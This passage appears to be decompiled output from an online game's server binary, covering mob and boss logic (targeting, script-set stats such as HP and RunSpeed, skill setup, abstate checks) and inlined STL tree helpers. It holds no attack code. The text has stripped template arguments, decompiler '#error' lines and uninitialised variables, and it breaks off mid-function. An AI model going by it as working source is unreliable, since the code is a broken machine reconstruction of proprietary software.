FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_BossAbstateGet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 2271); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_BossAbstateGet"); return v2; } //----- (0059B740) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineObject::so_AITraining(void *this, int a2) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AITraining"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AITraining"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__stdcall **)(_DWORD))(*(_DWORD *)a2 + 3004))(*(_DWORD *)((char *)v2 + 106)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AITraining"); } //----- (0059B7E0) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_mob_CurrentTarget() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CurrentTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CurrentTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CurrentTarget"); return -1; } //----- (0059B830) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShineMob::so_mob_CurrentTarget(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CurrentTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_CurrentTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v1) = *((_WORD *)v1 + 4505); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_CurrentTarget"); return (signed __int16)v1; } //----- (0059B8A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mob_SkillRegistAtScript(#593 *this, #593 *a2, unsigned __int16 skl) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillRegistAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SkillRegistAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillRegistAtScript"); return 0; } //----- (0059B8F0) -------------------------------------------------------- #error "59B8F0: undefined or illegal type '#593' (funcsize=104)" //----- (0059BA50) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_ParamSetAtScript(void *this, int flag, int param) { void *v3; // ebx@1 int v4; // edi@1 int v5; // esi@1 signed int v6; // ecx@1 bool v7; // zf@1 int v8; // edi@6 int v9; // esi@6 signed int v10; // ecx@6 bool v11; // zf@6 int v12; // edi@11 int v13; // esi@11 signed int v14; // ecx@11 bool v15; // zf@11 int v16; // edi@16 int v17; // esi@16 signed int v18; // ecx@16 bool v19; // zf@16 int v20; // edi@21 int v21; // esi@21 signed int v22; // ecx@21 bool v23; // zf@21 int v24; // edi@26 int v25; // esi@26 signed int v26; // ecx@26 bool v27; // zf@26 int v28; // edi@31 int v29; // esi@31 signed int v30; // ecx@31 bool v31; // zf@31 int v32; // edi@36 int v33; // esi@36 signed int v34; // ecx@36 bool v35; // zf@36 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v38; // [sp+18h] [bp-4h]@41 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_mob_ParamSetAtScript"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_ParamSetAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_ParamSetAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)"HP"; v5 = flag; v6 = 3; v7 = 1; do { if ( !v6 ) break; v7 = *(_BYTE *)v5++ == *(_BYTE *)v4++; --v6; } while ( v7 ); if ( v7 ) { *((_DWORD *)v3 + 1870) = param; LABEL_41: --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_ParamSetAtScript"); return 1; } v8 = (int)"MaxHP"; v9 = flag; v10 = 6; v11 = 1; do { if ( !v10 ) break; v11 = *(_BYTE *)v9++ == *(_BYTE *)v8++; --v10; } while ( v11 ); if ( v11 ) { *((_DWORD *)v3 + 2273) = param; goto LABEL_41; } v12 = (int)"MobEXP"; v13 = flag; v14 = 7; v15 = 1; do { if ( !v14 ) break; v15 = *(_BYTE *)v13++ == *(_BYTE *)v12++; --v14; } while ( v15 ); if ( v15 ) { *((_DWORD *)v3 + 2274) = param; goto LABEL_41; } v16 = (int)"AC"; v17 = flag; v18 = 3; v19 = 1; do { if ( !v18 ) break; v19 = *(_BYTE *)v17++ == *(_BYTE *)v16++; --v18; } while ( v19 ); if ( v19 ) { *((_DWORD *)v3 + 972) = param; goto LABEL_41; } v20 = (int)"MR"; v21 = flag; v22 = 3; v23 = 1; do { if ( !v22 ) break; v23 = *(_BYTE *)v21++ == *(_BYTE *)v20++; --v22; } while ( v23 ); if ( v23 ) { *((_DWORD *)v3 + 977) = param; goto LABEL_41; } v24 = (int)"WalkSpeed"; v25 = flag; v26 = 10; v27 = 1; do { if ( !v26 ) break; v27 = *(_BYTE *)v25++ == *(_BYTE *)v24++; --v26; } while ( v27 ); if ( v27 ) { *((_DWORD *)v3 + 2291) = param; goto LABEL_41; } v28 = (int)"RunSpeed"; v29 = flag; v30 = 9; v31 = 1; do { if ( !v30 ) break; v31 = *(_BYTE *)v29++ == *(_BYTE *)v28++; --v30; } while ( v31 ); if ( v31 ) { *((_DWORD *)v3 + 2292) = param; goto LABEL_41; } v32 = (int)"HPRegen"; v33 = flag; v34 = 8; v35 = 1; do { if ( !v34 ) break; v35 = *(_BYTE *)v33++ == *(_BYTE *)v32++; --v34; } while ( v35 ); if ( v35 ) { *((_DWORD *)v3 + 2293) = param; goto LABEL_41; } v38 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } //----- (0059BC00) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_mob_SkillBlastAtScript(#593 *this, #593 *a2, unsigned __int16 skl) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillBlastAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SkillBlastAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillBlastAtScript"); return 0; } //----- (0059BC50) -------------------------------------------------------- #error "59BC50: undefined or illegal type '#593' (funcsize=116)" //----- (0059BDE0) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_mob_SkillParameterSet(__int16 skl) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillParameterSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SkillParameterSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillParameterSet"); return 0; } //----- (0059BE30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSet(void *this, __int16 skl) { int v2; // esi@1 int v3; // eax@1 char result; // al@2 int v5; // edi@3 int v6; // ecx@3 int v7; // edx@4 int v8; // eax@8 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SkillParameterSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1796))(v2); if ( v3 ) { v5 = *(_DWORD *)(v3 + 12); v6 = 0; if ( v5 <= 0 ) { LABEL_7: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSet"); result = 0; } else { v7 = *(_DWORD *)(v3 + 8) + 4; while ( *(_WORD *)v7 != skl ) { ++v6; v7 += 12; if ( v6 >= v5 ) goto LABEL_7; } v8 = *(_DWORD *)(*(_DWORD *)(v3 + 8) + 12 * v6); ShineObjectClass::ShineMob::sm_PrepareWeapon( v2, *(_DWORD *)(v8 + 89), *(_DWORD *)(v8 + 85), *(_WORD *)(v8 + 93), *(_DWORD *)(v8 + 99), *(_DWORD *)(v8 + 95), *(_WORD *)(v8 + 103)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSet"); result = 1; } } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSet"); result = 0; } return result; } //----- (0059BF80) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_mob_SkillParameterSetAtScript(int param) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillParameterSetAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SkillParameterSetAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SkillParameterSetAtScript"); return 0; } //----- (0059BFD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSetAtScript(void *this, int param) { int v2; // esi@1 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSetAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SkillParameterSetAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::sm_PrepareWeapon( v2, *(_DWORD *)(param + 4), *(_DWORD *)param, *(_WORD *)(param + 8), *(_DWORD *)(param + 16), *(_DWORD *)(param + 12), *(_WORD *)(param + 20)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SkillParameterSetAtScript"); return 1; } //----- (0059C090) -------------------------------------------------------- int __thiscall MobTargetSelector::mts_StoreAggroList(MobTargetSelector *this, std::vector > *enemylist) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetSelector::mts_StoreAggroList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetSelector::mts_StoreAggroList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetSelector::mts_StoreAggroList"); return -1; } //----- (0059C0E0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0059C140) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0059C1A0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@5 v2 = _Wherenode->_Right; _Wherenode->_Right = v2->_Left; if ( !v2->_Left->_Isnil ) v2->_Left->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v3 = this->_Myhead; if ( _Wherenode == v3->_Parent ) { v3->_Parent = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4 = _Wherenode->_Parent; if ( _Wherenode == v4->_Left ) { v4->_Left = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } else { v4->_Right = v2; v2->_Left = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0059C200) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // ecx@3 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@5 v2 = _Wherenode->_Left; _Wherenode->_Left = _Wherenode->_Left->_Right; v3 = v2->_Right; if ( !v3->_Isnil ) v3->_Parent = _Wherenode; v2->_Parent = _Wherenode->_Parent; v4 = this->_Myhead; if ( _Wherenode == v4->_Parent ) { v4->_Parent = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5 = _Wherenode->_Parent; if ( _Wherenode == v5->_Right ) { v5->_Right = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } else { v5->_Left = v2; v2->_Right = _Wherenode; _Wherenode->_Parent = v2; } } } //----- (0059C260) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 29) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 29) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 29) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 29) ); if ( !*(_BYTE *)(v4 + 29) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 29); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0059C2C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 37) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 37) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 37) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 37) ); if ( !*(_BYTE *)(v4 + 37) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 37); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (0059C320) -------------------------------------------------------- ABSTATEINDEX *__cdecl std::copy(ABSTATEINDEX *_First, ABSTATEINDEX *_Last, ABSTATEINDEX *_Dest) { ABSTATEINDEX *v3; // ecx@1 ABSTATEINDEX *result; // eax@1 v3 = _First; for ( result = _Dest; v3 != _Last; ++result ) { *result = *v3; ++v3; } return result; } //----- (0059C350) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.sbt_Buffer = *(_DWORD *)&_Val->sbt_Buffer; result->_Myval.sbt_AbstateIndex = _Val->sbt_AbstateIndex; result->_Myval.sbt_Dictionary = _Val->sbt_Dictionary; result->_Myval.sbt_AbstateStrength = _Val->sbt_AbstateStrength; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (0059C3A0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) { result->_Left = _Larg; result->_Parent = _Parg; result->_Right = _Rarg; *(_DWORD *)&result->_Myval.maa_MobID = *(_DWORD *)&_Val->maa_MobID; result->_Myval.maa_ActionType = _Val->maa_ActionType; result->_Myval.maa_Abstate.Index = _Val->maa_Abstate.Index; result->_Myval.maa_Abstate.Strength = _Val->maa_Abstate.Strength; result->_Myval.maa_Abstate.Rate = _Val->maa_Abstate.Rate; result->_Myval.maa_Abstate.Range = _Val->maa_Abstate.Range; result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (0059C400) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x20u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0059C440) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x28u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (0059C480) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0059C4C0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (0059C500) -------------------------------------------------------- int __stdcall std::vector>::_Ucopy(char *src, int a2, char *dst) { int v3; // eax@1 memmove(dst, src, 4 * ((a2 - (signed int)src) >> 2)); return 4 * ((a2 - (signed int)src) >> 2) + v3; } //----- (0059C530) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>(std::list,std::allocator > >::iterator *_First, unsigned int _Count, std::list,std::allocator > >::iterator *_Val, std::allocator,std::allocator > >::iterator> *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 std::list,std::allocator > >::iterator *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) *(_DWORD *)&v6->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)&_Val->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; ++v6; --v5; } while ( v5 ); } } //----- (0059C560) -------------------------------------------------------- int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst) { BossFieldContent::MobAbstateCheckAtDead *v2; // ebx@1 ABSTATEINDEX *v3; // ecx@1 int result; // eax@3 List *v5; // ebp@4 unsigned __int16 v6; // di@5 unsigned __int16 v7; // si@6 ListStruct *v8; // ecx@7 int v9; // eax@7 bool v10; // cf@7 int v11; // eax@8 char *v12; // eax@10 ABSTATEINDEX *v13; // edx@10 ABSTATEINDEX *v14; // ecx@10 int v15; // eax@16 unsigned __int16 v16; // si@16 unsigned __int16 v17; // di@17 ListStruct *v18; // ecx@18 int v19; // eax@18 unsigned __int16 v20; // dx@18 int v21; // eax@19 ORErrorMessage *v22; // eax@20 AbnormalStateContainer::AbstateElementInObject *v23; // eax@22 int v24; // eax@22 int v25; // esi@22 unsigned __int16 lt; // [sp+10h] [bp-18h]@16 unsigned __int16 v27; // [sp+12h] [bp-16h]@22 List *v28; // [sp+14h] [bp-14h]@16 int v29; // [sp+18h] [bp-10h]@16 int v30; // [sp+24h] [bp-4h]@1 int lsta; // [sp+2Ch] [bp+4h]@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->macad_List._Myfirst; v30 = 0; if ( v3 && v2->macad_List._Mylast - v3 ) { v5 = lst; if ( v2->macad_Type ) { lt = lst->l_MaxSize; v15 = lst->l_Finger.store; v29 = 0; v16 = lst->l_Array[v15].ls_Next; v28 = lst; while ( 1 ) { v17 = lst->l_MaxSize; if ( v16 >= v17 ) break; v18 = lst->l_Array; v19 = v16; v20 = v16; v10 = v16 < v17; v16 = v18[v16].ls_Next; lt = v20; if ( !v10 ) break; v21 = (int)&v18[v19]; if ( !*(_BYTE *)(v21 + 8) ) break; v22 = *(ORErrorMessage **)v21; if ( !v22 ) break; if ( *(char **)v2->macad_List._Myfirst == LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(v22) ) { v27 = v16; v23 = ListTraveler::operator_>((ListTraveler *)<); v24 = AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(v23); --funcallanalizer.fca_stackpoint; v25 = v24; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); return v25; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } else { v6 = lst->l_Array[lst->l_Finger.store].ls_Next; lsta = 0; while ( 1 ) { v7 = v5->l_MaxSize; if ( v6 >= v7 ) break; v8 = v5->l_Array; v9 = v6; v10 = v6 < v7; v6 = v8[v6].ls_Next; if ( !v10 ) break; v11 = (int)&v8[v9]; if ( !*(_BYTE *)(v11 + 8) ) break; if ( !*(_DWORD *)v11 ) break; v12 = LuaScriptArgument::LuaArgumentDefault::lad_GetReturnNumber(*(ORErrorMessage **)v11); v13 = v2->macad_List._Mylast; v14 = v2->macad_List._Myfirst; if ( v14 != v13 ) { do { if ( *(char **)v14 == v12 ) break; ++v14; } while ( v14 != v13 ); if ( v14 != v13 ) ++lsta; } } --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = lsta; } } else { --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead ::macad_AbstateCheck"); result = 0; } return result; } //----- (0059C790) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::find(...) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.sbt_Buffer >= _Keyval->sbt_Buffer ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->sbt_Buffer < v3->_Myval.sbt_Buffer ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (0059C800) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.maa_MobID >= _Keyval->maa_MobID ) { v3 = v4; v4 = v4->_Left; } else { v4 = 